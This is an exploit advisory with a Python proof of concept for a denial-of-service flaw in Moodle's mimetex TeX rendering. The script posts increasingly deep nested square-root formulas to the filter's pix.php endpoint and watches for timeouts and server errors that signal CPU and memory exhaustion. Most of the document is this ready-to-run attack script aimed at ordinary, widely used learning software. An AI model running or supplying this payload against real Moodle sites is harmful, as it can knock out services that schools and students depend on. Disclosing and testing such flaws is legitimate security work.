============================================================================================================================================= | # Title : Moodle TeX Formula Rendering via mimetex Resource Exhaustion Denial of Service | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://moodle.org | ============================================================================================================================================= [+] Summary : A denial-of-service (DoS) vulnerability was identified in the TeX formula rendering component of Moodle. The issue occurs when rendering TeX content using the mimetex engine without enforcing sufficient execution time or resource limitations. By submitting specially crafted TeX formulas designed to trigger excessive parsing complexity or deep recursive processing, an authenticated user may cause disproportionate CPU and memory consumption on the server. [+] Successful exploitation could lead to: Significant performance degradation Increased response latency Internal server errors Temporary service interruption The vulnerability stems from insufficient resource control during TeX processing, allowing computational exhaustion through maliciously structured formula input. [+] affected : from 0 before 4.5.9 from 5.0.0 before 5.0.5 [+] POC : import requests import time TARGET_URL = "http://your-moodle-site.com/filter/tex/pix.php" TEST_LEVELS = [100, 300, 600, 1000] HEADERS = { "User-Agent": "Mozilla/5.0 (Security Testing)" } def measure_baseline(): print("[*] Measuring baseline response time...") try: start = time.time() r = requests.get(TARGET_URL, headers=HEADERS, timeout=10) duration = time.time() - start print(f"[+] Baseline response time: {duration:.2f}s (HTTP {r.status_code})") return duration except Exception as e: print(f"[-] Baseline error: {e}") return None def test_payload(depth, baseline): deep_nesting = "\\sqrt{" * depth + "1" + "}" * depth data = {'tex': deep_nesting} print(f"[*] Testing depth: {depth}") try: start = time.time() response = requests.post(TARGET_URL, data=data, headers=HEADERS, timeout=30) duration = time.time() - start print(f"[+] Response time: {duration:.2f}s (HTTP {response.status_code})") if response.status_code >= 500: print("[!] Possible crash or internal error detected.") if baseline and duration > (baseline * 5): print("[!] Significant delay compared to baseline. Potential vulnerability.") except requests.exceptions.Timeout: print("[!] Timeout detected — possible resource exhaustion.") except Exception as e: print(f"[-] Error: {e}") def check_vulnerability(): print(f"[*] Testing target: {TARGET_URL}") baseline = measure_baseline() if baseline is None: print("[-] Cannot establish baseline. Aborting test.") return for level in TEST_LEVELS: test_payload(level, baseline) if __name__ == "__main__": check_vulnerability() Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================